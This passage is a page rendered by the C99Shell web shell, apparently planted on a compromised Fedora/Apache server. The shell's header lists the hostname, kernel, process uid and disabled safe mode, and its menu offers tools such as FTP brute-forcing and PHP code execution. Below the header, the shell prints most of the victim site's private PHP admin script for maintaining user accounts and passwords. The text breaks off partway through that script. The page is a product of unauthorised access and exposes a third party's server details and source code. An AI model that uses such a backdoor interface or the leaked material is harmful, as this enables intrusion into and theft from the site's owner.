!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/home/mnnews/public_html/mina/user/admin/   drwxr-xr-x
Free 3.9 GB of 27.03 GB (14.43%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     phpSP_user_maint.php (41.01 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//Include Common Files @1-32FE04D5
define("RelativePath", ".");
define("PathToCurrentPage", "/");
define("FileName", "phpSP_user_maint.php");
include(
RelativePath . "/Common.php");
include(
RelativePath . "/Template.php");
include(
RelativePath . "/Sorter.php");
include(
RelativePath . "/Navigator.php");
//End Include Common Files

//Include Page implementation @37-3DD2EFDC
include_once(RelativePath . "/Header.php");
//End Include Page implementation

class clsRecordphpSP_users { //phpSP_users Class @2-5535CA2D

//Variables @2-F607D3A5

    // Public variables
    
var $ComponentType = "Record";
    var
$ComponentName;
    var
$Parent;
    var
$HTMLFormAction;
    var
$PressedButton;
    var
$Errors;
    var
$ErrorBlock;
    var
$FormSubmitted;
    var
$FormEnctype;
    var
$Visible;
    var
$Recordset;

    var
$CCSEvents = "";
    var
$CCSEventResult;

    var
$RelativePath = "";

    var
$InsertAllowed = false;
    var
$UpdateAllowed = false;
    var
$DeleteAllowed = false;
    var
$ReadAllowed   = false;
    var
$EditMode      = false;
    var
$ds;
    var
$DataSource;
    var
$ValidatingControls;
    var
$Controls;

    
// Class variables
//End Variables

//Class_Initialize Event @2-4DC3AFBE
    
function clsRecordphpSP_users($RelativePath, & $Parent)
    {

        global
$FileName;
        global
$CCSLocales;
        global
$DefaultDateFormat;
        
$this->Visible = true;
        
$this->Parent = & $Parent;
        
$this->RelativePath = $RelativePath;
        
$this->Errors = new clsErrors();
        
$this->ErrorBlock = "Record phpSP_users/Error";
        
$this->DataSource = new clsphpSP_usersDataSource($this);
        
$this->ds = & $this->DataSource;
        
$this->InsertAllowed = true;
        
$this->UpdateAllowed = true;
        
$this->DeleteAllowed = true;
        
$this->ReadAllowed = true;
        if(
$this->Visible)
        {
            
$this->ComponentName = "phpSP_users";
            
$CCSForm = split(":", CCGetFromGet("ccsForm", ""), 2);
            if(
sizeof($CCSForm) == 1)
                
$CCSForm[1] = "";
            list(
$FormName, $FormMethod) = $CCSForm;
            
$this->EditMode = ($FormMethod == "Edit");
            
$this->FormEnctype = "application/x-www-form-urlencoded";
            
$this->FormSubmitted = ($FormName == $this->ComponentName);
            
$Method = $this->FormSubmitted ? ccsPost : ccsGet;
            
$this->user = & new clsControl(ccsTextBox, "user", "User", ccsText, "", CCGetRequestParam("user", $Method), $this);
            
$this->password = & new clsControl(ccsTextBox, "password", "Password", ccsText, "", CCGetRequestParam("password", $Method), $this);
            
$this->ListBox1 = & new clsControl(ccsListBox, "ListBox1", "ListBox1", ccsText, "", CCGetRequestParam("ListBox1", $Method), $this);
            
$this->ListBox1->DSType = dsTable;
            list(
$this->ListBox1->BoundColumn, $this->ListBox1->TextColumn, $this->ListBox1->DBFormat) = array("id", "imeservisa", "");
            
$this->ListBox1->DataSource = new clsDBConnection1();
            
$this->ListBox1->ds = & $this->ListBox1->DataSource;
            
$this->ListBox1->DataSource->SQL = "SELECT *  " .
"FROM servisi {SQL_Where} {SQL_OrderBy}";
            
$this->kontakt = & new clsControl(ccsTextBox, "kontakt", "Kontakt", ccsText, "", CCGetRequestParam("kontakt", $Method), $this);
            
$this->Pocetak_saradnje = & new clsControl(ccsTextBox, "Pocetak_saradnje", "Pocetak Saradnje", ccsDate, $DefaultDateFormat, CCGetRequestParam("Pocetak_saradnje", $Method), $this);
            
$this->DatePicker_Pocetak_saradnje1 = & new clsDatePicker("DatePicker_Pocetak_saradnje1", "phpSP_users", "Pocetak_saradnje", $this);
            
$this->napomena = & new clsControl(ccsTextArea, "napomena", "Napomena", ccsMemo, "", CCGetRequestParam("napomena", $Method), $this);
            
$this->Organizacija = & new clsControl(ccsTextBox, "Organizacija", "Organizacija", ccsMemo, "", CCGetRequestParam("Organizacija", $Method), $this);
            
$this->Adresa = & new clsControl(ccsTextArea, "Adresa", "Adresa", ccsMemo, "", CCGetRequestParam("Adresa", $Method), $this);
            
$this->E_mail = & new clsControl(ccsTextBox, "E_mail", "E Mail", ccsMemo, "", CCGetRequestParam("E_mail", $Method), $this);
            
$this->Telefon = & new clsControl(ccsTextBox, "Telefon", "Telefon", ccsText, "", CCGetRequestParam("Telefon", $Method), $this);
            
$this->Fax = & new clsControl(ccsTextBox, "Fax", "Fax", ccsText, "", CCGetRequestParam("Fax", $Method), $this);
            
$this->Mobilni = & new clsControl(ccsTextBox, "Mobilni", "Mobilni", ccsText, "", CCGetRequestParam("Mobilni", $Method), $this);
            
$this->Web = & new clsControl(ccsTextBox, "Web", "Web", ccsMemo, "", CCGetRequestParam("Web", $Method), $this);
            
$this->MinaCijeli_site_do = & new clsControl(ccsTextBox, "MinaCijeli_site_do", "Mina Cijeli Site Do", ccsDate, $DefaultDateFormat, CCGetRequestParam("MinaCijeli_site_do", $Method), $this);
            
$this->DatePicker_MinaCijeli_site_do1 = & new clsDatePicker("DatePicker_MinaCijeli_site_do1", "phpSP_users", "MinaCijeli_site_do", $this);
            
$this->MinaGen_site_do = & new clsControl(ccsTextBox, "MinaGen_site_do", "Mina Gen Site Do", ccsDate, $DefaultDateFormat, CCGetRequestParam("MinaGen_site_do", $Method), $this);
            
$this->DatePicker_MinaGen_site_do = & new clsDatePicker("DatePicker_MinaGen_site_do", "phpSP_users", "MinaGen_site_do", $this);
            
$this->MinaBiz_site_do = & new clsControl(ccsTextBox, "MinaBiz_site_do", "Mina Biz Site Do", ccsDate, $DefaultDateFormat, CCGetRequestParam("MinaBiz_site_do", $Method), $this);
            
$this->DatePicker_MinaBiz_site_do = & new clsDatePicker("DatePicker_MinaBiz_site_do", "phpSP_users", "MinaBiz_site_do", $this);
            
$this->Daily_site_do = & new clsControl(ccsTextBox, "Daily_site_do", "Daily Site Do", ccsDate, $DefaultDateFormat, CCGetRequestParam("Daily_site_do", $Method), $this);
            
$this->DatePicker_Daily_site_do = & new clsDatePicker("DatePicker_Daily_site_do", "phpSP_users", "Daily_site_do", $this);
            
$this->Daily_mail_do = & new clsControl(ccsTextBox, "Daily_mail_do", "Daily Mail Do", ccsDate, $DefaultDateFormat, CCGetRequestParam("Daily_mail_do", $Method), $this);
            
$this->DatePicker_Daily_mail_do = & new clsDatePicker("DatePicker_Daily_mail_do", "phpSP_users", "Daily_mail_do", $this);
            
$this->MinaB_mail_do = & new clsControl(ccsTextBox, "MinaB_mail_do", "Mina B Mail Do", ccsDate, $DefaultDateFormat, CCGetRequestParam("MinaB_mail_do", $Method), $this);
            
$this->DatePicker_MinaB_mail_do = & new clsDatePicker("DatePicker_MinaB_mail_do", "phpSP_users", "MinaB_mail_do", $this);
            
$this->Insert = & new clsButton("Insert", $Method, $this);
            
$this->Update = & new clsButton("Update", $Method, $this);
            
$this->Delete = & new clsButton("Delete", $Method, $this);
        }
    }
//End Class_Initialize Event

//Initialize Method @2-87BF3A52
    
function Initialize()
    {

        if(!
$this->Visible)
            return;

        
$this->DataSource->Parameters["urlprimary_key"] = CCGetFromGet("primary_key", "");
    }
//End Initialize Method

//Validate Method @2-76502250
    
function Validate()
    {
        global
$CCSLocales;
        
$Validation = true;
        
$Where = "";
        if(
$this->EditMode && strlen($this->DataSource->Where))
            
$Where = " AND NOT (" . $this->DataSource->Where . ")";
        
$this->DataSource->user->SetValue($this->user->GetValue());
        if(
CCDLookUp("COUNT(*)", "phpSP_users", "`user`=" . $this->DataSource->ToSQL($this->DataSource->user->GetDBValue(), $this->DataSource->user->DataType) . $Where, $this->DataSource) > 0)
            
$this->user->Errors->addError($CCSLocales->GetText("CCS_UniqueValue", "User"));
        
$Validation = ($this->user->Validate() && $Validation);
        
$Validation = ($this->password->Validate() && $Validation);
        
$Validation = ($this->ListBox1->Validate() && $Validation);
        
$Validation = ($this->kontakt->Validate() && $Validation);
        
$Validation = ($this->Pocetak_saradnje->Validate() && $Validation);
        
$Validation = ($this->napomena->Validate() && $Validation);
        
$Validation = ($this->Organizacija->Validate() && $Validation);
        
$Validation = ($this->Adresa->Validate() && $Validation);
        
$Validation = ($this->E_mail->Validate() && $Validation);
        
$Validation = ($this->Telefon->Validate() && $Validation);
        
$Validation = ($this->Fax->Validate() && $Validation);
        
$Validation = ($this->Mobilni->Validate() && $Validation);
        
$Validation = ($this->Web->Validate() && $Validation);
        
$Validation = ($this->MinaCijeli_site_do->Validate() && $Validation);
        
$Validation = ($this->MinaGen_site_do->Validate() && $Validation);
        
$Validation = ($this->MinaBiz_site_do->Validate() && $Validation);
        
$Validation = ($this->Daily_site_do->Validate() && $Validation);
        
$Validation = ($this->Daily_mail_do->Validate() && $Validation);
        
$Validation = ($this->MinaB_mail_do->Validate() && $Validation);
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "OnValidate", $this);
        
$Validation =  $Validation && ($this->user->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->password->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->ListBox1->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->kontakt->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->Pocetak_saradnje->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->napomena->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->Organizacija->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->Adresa->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->E_mail->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->Telefon->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->Fax->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->Mobilni->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->Web->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->MinaCijeli_site_do->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->MinaGen_site_do->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->MinaBiz_site_do->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->Daily_site_do->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->Daily_mail_do->Errors->Count() == 0);
        
$Validation =  $Validation && ($this->MinaB_mail_do->Errors->Count() == 0);
        return ((
$this->Errors->Count() == 0) && $Validation);
    }
//End Validate Method

//CheckErrors Method @2-CE6012DD
    
function CheckErrors()
    {
        
$errors = false;
        
$errors = ($errors || $this->user->Errors->Count());
        
$errors = ($errors || $this->password->Errors->Count());
        
$errors = ($errors || $this->ListBox1->Errors->Count());
        
$errors = ($errors || $this->kontakt->Errors->Count());
        
$errors = ($errors || $this->Pocetak_saradnje->Errors->Count());
        
$errors = ($errors || $this->DatePicker_Pocetak_saradnje1->Errors->Count());
        
$errors = ($errors || $this->napomena->Errors->Count());
        
$errors = ($errors || $this->Organizacija->Errors->Count());
        
$errors = ($errors || $this->Adresa->Errors->Count());
        
$errors = ($errors || $this->E_mail->Errors->Count());
        
$errors = ($errors || $this->Telefon->Errors->Count());
        
$errors = ($errors || $this->Fax->Errors->Count());
        
$errors = ($errors || $this->Mobilni->Errors->Count());
        
$errors = ($errors || $this->Web->Errors->Count());
        
$errors = ($errors || $this->MinaCijeli_site_do->Errors->Count());
        
$errors = ($errors || $this->DatePicker_MinaCijeli_site_do1->Errors->Count());
        
$errors = ($errors || $this->MinaGen_site_do->Errors->Count());
        
$errors = ($errors || $this->DatePicker_MinaGen_site_do->Errors->Count());
        
$errors = ($errors || $this->MinaBiz_site_do->Errors->Count());
        
$errors = ($errors || $this->DatePicker_MinaBiz_site_do->Errors->Count());
        
$errors = ($errors || $this->Daily_site_do->Errors->Count());
        
$errors = ($errors || $this->DatePicker_Daily_site_do->Errors->Count());
        
$errors = ($errors || $this->Daily_mail_do->Errors->Count());
        
$errors = ($errors || $this->DatePicker_Daily_mail_do->Errors->Count());
        
$errors = ($errors || $this->MinaB_mail_do->Errors->Count());
        
$errors = ($errors || $this->DatePicker_MinaB_mail_do->Errors->Count());
        
$errors = ($errors || $this->Errors->Count());
        
$errors = ($errors || $this->DataSource->Errors->Count());
        return
$errors;
    }
//End CheckErrors Method

//Operation Method @2-0DBEB397
    
function Operation()
    {
        if(!
$this->Visible)
            return;

        global
$Redirect;
        global
$FileName;

        
$this->DataSource->Prepare();
        if(!
$this->FormSubmitted) {
            
$this->EditMode = $this->DataSource->AllParametersSet;
            return;
        }

        if(
$this->FormSubmitted) {
            
$this->PressedButton = $this->EditMode ? "Update" : "Insert";
            if(
$this->Insert->Pressed) {
                
$this->PressedButton = "Insert";
            } else if(
$this->Update->Pressed) {
                
$this->PressedButton = "Update";
            } else if(
$this->Delete->Pressed) {
                
$this->PressedButton = "Delete";
            }
        }
        
$Redirect = "phpSP_user_list.php" . "?" . CCGetQueryString("QueryString", array("ccsForm"));
        if(
$this->PressedButton == "Delete") {
            if(!
CCGetEvent($this->Delete->CCSEvents, "OnClick", $this->Delete) || !$this->DeleteRow()) {
                
$Redirect = "";
            }
        } else if(
$this->Validate()) {
            if(
$this->PressedButton == "Insert") {
                if(!
CCGetEvent($this->Insert->CCSEvents, "OnClick", $this->Insert) || !$this->InsertRow()) {
                    
$Redirect = "";
                }
            } else if(
$this->PressedButton == "Update") {
                if(!
CCGetEvent($this->Update->CCSEvents, "OnClick", $this->Update) || !$this->UpdateRow()) {
                    
$Redirect = "";
                }
            }
        } else {
            
$Redirect = "";
        }
        if (
$Redirect)
            
$this->DataSource->close();
    }
//End Operation Method

//InsertRow Method @2-18DA752C
    
function InsertRow()
    {
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeInsert", $this);
        if(!
$this->InsertAllowed) return false;
        
$this->DataSource->user->SetValue($this->user->GetValue());
        
$this->DataSource->password->SetValue($this->password->GetValue());
        
$this->DataSource->ListBox1->SetValue($this->ListBox1->GetValue());
        
$this->DataSource->kontakt->SetValue($this->kontakt->GetValue());
        
$this->DataSource->Pocetak_saradnje->SetValue($this->Pocetak_saradnje->GetValue());
        
$this->DataSource->napomena->SetValue($this->napomena->GetValue());
        
$this->DataSource->Organizacija->SetValue($this->Organizacija->GetValue());
        
$this->DataSource->Adresa->SetValue($this->Adresa->GetValue());
        
$this->DataSource->E_mail->SetValue($this->E_mail->GetValue());
        
$this->DataSource->Telefon->SetValue($this->Telefon->GetValue());
        
$this->DataSource->Fax->SetValue($this->Fax->GetValue());
        
$this->DataSource->Mobilni->SetValue($this->Mobilni->GetValue());
        
$this->DataSource->Web->SetValue($this->Web->GetValue());
        
$this->DataSource->MinaCijeli_site_do->SetValue($this->MinaCijeli_site_do->GetValue());
        
$this->DataSource->MinaGen_site_do->SetValue($this->MinaGen_site_do->GetValue());
        
$this->DataSource->MinaBiz_site_do->SetValue($this->MinaBiz_site_do->GetValue());
        
$this->DataSource->Daily_site_do->SetValue($this->Daily_site_do->GetValue());
        
$this->DataSource->Daily_mail_do->SetValue($this->Daily_mail_do->GetValue());
        
$this->DataSource->MinaB_mail_do->SetValue($this->MinaB_mail_do->GetValue());
        
$this->DataSource->Insert();
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "AfterInsert", $this);
        return (!
$this->CheckErrors());
    }
//End InsertRow Method

//UpdateRow Method @2-5B121C5E
    
function UpdateRow()
    {
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeUpdate", $this);
        if(!
$this->UpdateAllowed) return false;
        
$this->DataSource->user->SetValue($this->user->GetValue());
        
$this->DataSource->password->SetValue($this->password->GetValue());
        
$this->DataSource->ListBox1->SetValue($this->ListBox1->GetValue());
        
$this->DataSource->kontakt->SetValue($this->kontakt->GetValue());
        
$this->DataSource->Pocetak_saradnje->SetValue($this->Pocetak_saradnje->GetValue());
        
$this->DataSource->napomena->SetValue($this->napomena->GetValue());
        
$this->DataSource->Organizacija->SetValue($this->Organizacija->GetValue());
        
$this->DataSource->Adresa->SetValue($this->Adresa->GetValue());
        
$this->DataSource->E_mail->SetValue($this->E_mail->GetValue());
        
$this->DataSource->Telefon->SetValue($this->Telefon->GetValue());
        
$this->DataSource->Fax->SetValue($this->Fax->GetValue());
        
$this->DataSource->Mobilni->SetValue($this->Mobilni->GetValue());
        
$this->DataSource->Web->SetValue($this->Web->GetValue());
        
$this->DataSource->MinaCijeli_site_do->SetValue($this->MinaCijeli_site_do->GetValue());
        
$this->DataSource->MinaGen_site_do->SetValue($this->MinaGen_site_do->GetValue());
        
$this->DataSource->MinaBiz_site_do->SetValue($this->MinaBiz_site_do->GetValue());
        
$this->DataSource->Daily_site_do->SetValue($this->Daily_site_do->GetValue());
        
$this->DataSource->Daily_mail_do->SetValue($this->Daily_mail_do->GetValue());
        
$this->DataSource->MinaB_mail_do->SetValue($this->MinaB_mail_do->GetValue());
        
$this->DataSource->Update();
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "AfterUpdate", $this);
        return (!
$this->CheckErrors());
    }
//End UpdateRow Method

//DeleteRow Method @2-299D98C3
    
function DeleteRow()
    {
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeDelete", $this);
        if(!
$this->DeleteAllowed) return false;
        
$this->DataSource->Delete();
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "AfterDelete", $this);
        return (!
$this->CheckErrors());
    }
//End DeleteRow Method

//Show Method @2-23879718
    
function Show()
    {
        global
$Tpl;
        global
$FileName;
        global
$CCSLocales;
        
$Error = "";

        if(!
$this->Visible)
            return;

        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeSelect", $this);

        
$this->ListBox1->Prepare();

        
$RecordBlock = "Record " . $this->ComponentName;
        
$ParentPath = $Tpl->block_path;
        
$Tpl->block_path = $ParentPath . "/" . $RecordBlock;
        
$this->EditMode = $this->EditMode && $this->ReadAllowed;
        if(
$this->EditMode) {
            if(
$this->DataSource->Errors->Count()){
                
$this->Errors->AddErrors($this->DataSource->Errors);
                
$this->DataSource->Errors->clear();
            }
            
$this->DataSource->Open();
            if(
$this->DataSource->Errors->Count() == 0 && $this->DataSource->next_record()) {
                
$this->DataSource->SetValues();
                if(!
$this->FormSubmitted){
                    
$this->user->SetValue($this->DataSource->user->GetValue());
                    
$this->password->SetValue($this->DataSource->password->GetValue());
                    
$this->ListBox1->SetValue($this->DataSource->ListBox1->GetValue());
                    
$this->kontakt->SetValue($this->DataSource->kontakt->GetValue());
                    
$this->Pocetak_saradnje->SetValue($this->DataSource->Pocetak_saradnje->GetValue());
                    
$this->napomena->SetValue($this->DataSource->napomena->GetValue());
                    
$this->Organizacija->SetValue($this->DataSource->Organizacija->GetValue());
                    
$this->Adresa->SetValue($this->DataSource->Adresa->GetValue());
                    
$this->E_mail->SetValue($this->DataSource->E_mail->GetValue());
                    
$this->Telefon->SetValue($this->DataSource->Telefon->GetValue());
                    
$this->Fax->SetValue($this->DataSource->Fax->GetValue());
                    
$this->Mobilni->SetValue($this->DataSource->Mobilni->GetValue());
                    
$this->Web->SetValue($this->DataSource->Web->GetValue());
                    
$this->MinaCijeli_site_do->SetValue($this->DataSource->MinaCijeli_site_do->GetValue());
                    
$this->MinaGen_site_do->SetValue($this->DataSource->MinaGen_site_do->GetValue());
                    
$this->MinaBiz_site_do->SetValue($this->DataSource->MinaBiz_site_do->GetValue());
                    
$this->Daily_site_do->SetValue($this->DataSource->Daily_site_do->GetValue());
                    
$this->Daily_mail_do->SetValue($this->DataSource->Daily_mail_do->GetValue());
                    
$this->MinaB_mail_do->SetValue($this->DataSource->MinaB_mail_do->GetValue());
                }
            } else {
                
$this->EditMode = false;
            }
        }

        if(
$this->FormSubmitted || $this->CheckErrors()) {
            
$Error = "";
            
$Error = ComposeStrings($Error, $this->user->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->password->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->ListBox1->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->kontakt->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->Pocetak_saradnje->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->DatePicker_Pocetak_saradnje1->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->napomena->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->Organizacija->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->Adresa->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->E_mail->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->Telefon->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->Fax->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->Mobilni->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->Web->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->MinaCijeli_site_do->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->DatePicker_MinaCijeli_site_do1->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->MinaGen_site_do->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->DatePicker_MinaGen_site_do->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->MinaBiz_site_do->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->DatePicker_MinaBiz_site_do->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->Daily_site_do->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->DatePicker_Daily_site_do->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->Daily_mail_do->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->DatePicker_Daily_mail_do->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->MinaB_mail_do->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->DatePicker_MinaB_mail_do->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->Errors->ToString());
            
$Error = ComposeStrings($Error, $this->DataSource->Errors->ToString());
            
$Tpl->SetVar("Error", $Error);
            
$Tpl->Parse("Error", false);
        }
        
$CCSForm = $this->EditMode ? $this->ComponentName . ":" . "Edit" : $this->ComponentName;
        
$this->HTMLFormAction = $FileName . "?" . CCAddParam(CCGetQueryString("QueryString", ""), "ccsForm", $CCSForm);
        
$Tpl->SetVar("Action", $this->HTMLFormAction);
        
$Tpl->SetVar("HTMLFormName", $this->ComponentName);
        
$Tpl->SetVar("HTMLFormEnctype", $this->FormEnctype);
        
$this->Insert->Visible = !$this->EditMode && $this->InsertAllowed;
        
$this->Update->Visible = $this->EditMode && $this->UpdateAllowed;
        
$this->Delete->Visible = $this->EditMode && $this->DeleteAllowed;

        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeShow", $this);
        if(!
$this->Visible) {
            
$Tpl->block_path = $ParentPath;
            return;
        }

        
$this->user->Show();
        
$this->password->Show();
        
$this->ListBox1->Show();
        
$this->kontakt->Show();
        
$this->Pocetak_saradnje->Show();
        
$this->DatePicker_Pocetak_saradnje1->Show();
        
$this->napomena->Show();
        
$this->Organizacija->Show();
        
$this->Adresa->Show();
        
$this->E_mail->Show();
        
$this->Telefon->Show();
        
$this->Fax->Show();
        
$this->Mobilni->Show();
        
$this->Web->Show();
        
$this->MinaCijeli_site_do->Show();
        
$this->DatePicker_MinaCijeli_site_do1->Show();
        
$this->MinaGen_site_do->Show();
        
$this->DatePicker_MinaGen_site_do->Show();
        
$this->MinaBiz_site_do->Show();
        
$this->DatePicker_MinaBiz_site_do->Show();
        
$this->Daily_site_do->Show();
        
$this->DatePicker_Daily_site_do->Show();
        
$this->Daily_mail_do->Show();
        
$this->DatePicker_Daily_mail_do->Show();
        
$this->MinaB_mail_do->Show();
        
$this->DatePicker_MinaB_mail_do->Show();
        
$this->Insert->Show();
        
$this->Update->Show();
        
$this->Delete->Show();
        
$Tpl->parse();
        
$Tpl->block_path = $ParentPath;
        
$this->DataSource->close();
    }
//End Show Method

} //End phpSP_users Class @2-FCB6E20C

class clsphpSP_usersDataSource extends clsDBConnection1 {  //phpSP_usersDataSource Class @2-D7B82E7A

//DataSource Variables @2-27C4F0B6
    
var $Parent = "";
    var
$CCSEvents = "";
    var
$CCSEventResult;
    var
$ErrorBlock;
    var
$CmdExecution;

    var
$InsertParameters;
    var
$UpdateParameters;
    var
$DeleteParameters;
    var
$wp;
    var
$AllParametersSet;


    
// Datasource fields
    
var $user;
    var
$password;
    var
$ListBox1;
    var
$kontakt;
    var
$Pocetak_saradnje;
    var
$napomena;
    var
$Organizacija;
    var
$Adresa;
    var
$E_mail;
    var
$Telefon;
    var
$Fax;
    var
$Mobilni;
    var
$Web;
    var
$MinaCijeli_site_do;
    var
$MinaGen_site_do;
    var
$MinaBiz_site_do;
    var
$Daily_site_do;
    var
$Daily_mail_do;
    var
$MinaB_mail_do;
//End DataSource Variables

//DataSourceClass_Initialize Event @2-A1F2849E
    
function clsphpSP_usersDataSource(& $Parent)
    {
        
$this->Parent = & $Parent;
        
$this->ErrorBlock = "Record phpSP_users/Error";
        
$this->Initialize();
        
$this->user = new clsField("user", ccsText, "");
        
$this->password = new clsField("password", ccsText, "");
        
$this->ListBox1 = new clsField("ListBox1", ccsText, "");
        
$this->kontakt = new clsField("kontakt", ccsText, "");
        
$this->Pocetak_saradnje = new clsField("Pocetak_saradnje", ccsDate, array("yyyy", "-", "mm", "-", "dd", " ", "HH", ":", "nn", ":", "ss"));
        
$this->napomena = new clsField("napomena", ccsMemo, "");
        
$this->Organizacija = new clsField("Organizacija", ccsMemo, "");
        
$this->Adresa = new clsField("Adresa", ccsMemo, "");
        
$this->E_mail = new clsField("E_mail", ccsMemo, "");
        
$this->Telefon = new clsField("Telefon", ccsText, "");
        
$this->Fax = new clsField("Fax", ccsText, "");
        
$this->Mobilni = new clsField("Mobilni", ccsText, "");
        
$this->Web = new clsField("Web", ccsMemo, "");
        
$this->MinaCijeli_site_do = new clsField("MinaCijeli_site_do", ccsDate, array("yyyy", "-", "mm", "-", "dd", " ", "HH", ":", "nn", ":", "ss"));
        
$this->MinaGen_site_do = new clsField("MinaGen_site_do", ccsDate, array("yyyy", "-", "mm", "-", "dd", " ", "HH", ":", "nn", ":", "ss"));
        
$this->MinaBiz_site_do = new clsField("MinaBiz_site_do", ccsDate, array("yyyy", "-", "mm", "-", "dd", " ", "HH", ":", "nn", ":", "ss"));
        
$this->Daily_site_do = new clsField("Daily_site_do", ccsDate, array("yyyy", "-", "mm", "-", "dd", " ", "HH", ":", "nn", ":", "ss"));
        
$this->Daily_mail_do = new clsField("Daily_mail_do", ccsDate, array("yyyy", "-", "mm", "-", "dd", " ", "HH", ":", "nn", ":", "ss"));
        
$this->MinaB_mail_do = new clsField("MinaB_mail_do", ccsDate, array("yyyy", "-", "mm", "-", "dd", " ", "HH", ":", "nn", ":", "ss"));

    }
//End DataSourceClass_Initialize Event

//Prepare Method @2-B64D4A97
    
function Prepare()
    {
        global
$CCSLocales;
        global
$DefaultDateFormat;
        
$this->wp = new clsSQLParameters($this->ErrorBlock);
        
$this->wp->AddParameter("1", "urlprimary_key", ccsInteger, "", "", $this->Parameters["urlprimary_key"], "", false);
        
$this->AllParametersSet = $this->wp->AllParamsSet();
        
$this->wp->Criterion[1] = $this->wp->Operation(opEqual, "primary_key", $this->wp->GetDBValue("1"), $this->ToSQL($this->wp->GetDBValue("1"), ccsInteger),false);
        
$this->Where =
             
$this->wp->Criterion[1];
    }
//End Prepare Method

//Open Method @2-4CE24233
    
function Open()
    {
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeBuildSelect", $this->Parent);
        
$this->SQL = "SELECT *  " .
        
"FROM phpSP_users {SQL_Where} {SQL_OrderBy}";
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeExecuteSelect", $this->Parent);
        
$this->PageSize = 1;
        
$this->query($this->OptimizeSQL(CCBuildSQL($this->SQL, $this->Where, $this->Order)));
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "AfterExecuteSelect", $this->Parent);
    }
//End Open Method

//SetValues Method @2-8F1CD0CC
    
function SetValues()
    {
        
$this->user->SetDBValue($this->f("user"));
        
$this->password->SetDBValue($this->f("password"));
        
$this->ListBox1->SetDBValue($this->f("userlevel"));
        
$this->kontakt->SetDBValue($this->f("kontakt"));
        
$this->Pocetak_saradnje->SetDBValue(trim($this->f("Pocetak_saradnje")));
        
$this->napomena->SetDBValue($this->f("napomena"));
        
$this->Organizacija->SetDBValue($this->f("Organizacija"));
        
$this->Adresa->SetDBValue($this->f("Adresa"));
        
$this->E_mail->SetDBValue($this->f("E_mail"));
        
$this->Telefon->SetDBValue($this->f("Telefon"));
        
$this->Fax->SetDBValue($this->f("Fax"));
        
$this->Mobilni->SetDBValue($this->f("Mobilni"));
        
$this->Web->SetDBValue($this->f("Web"));
        
$this->MinaCijeli_site_do->SetDBValue(trim($this->f("MinaCijeli_site_do")));
        
$this->MinaGen_site_do->SetDBValue(trim($this->f("MinaGen_site_do")));
        
$this->MinaBiz_site_do->SetDBValue(trim($this->f("MinaBiz_site_do")));
        
$this->Daily_site_do->SetDBValue(trim($this->f("Daily_site_do")));
        
$this->Daily_mail_do->SetDBValue(trim($this->f("Daily_mail_do")));
        
$this->MinaB_mail_do->SetDBValue(trim($this->f("MinaB_mail_do")));
    }
//End SetValues Method

//Insert Method @2-056FE387
    
function Insert()
    {
        global
$CCSLocales;
        global
$DefaultDateFormat;
        
$this->CmdExecution = true;
        
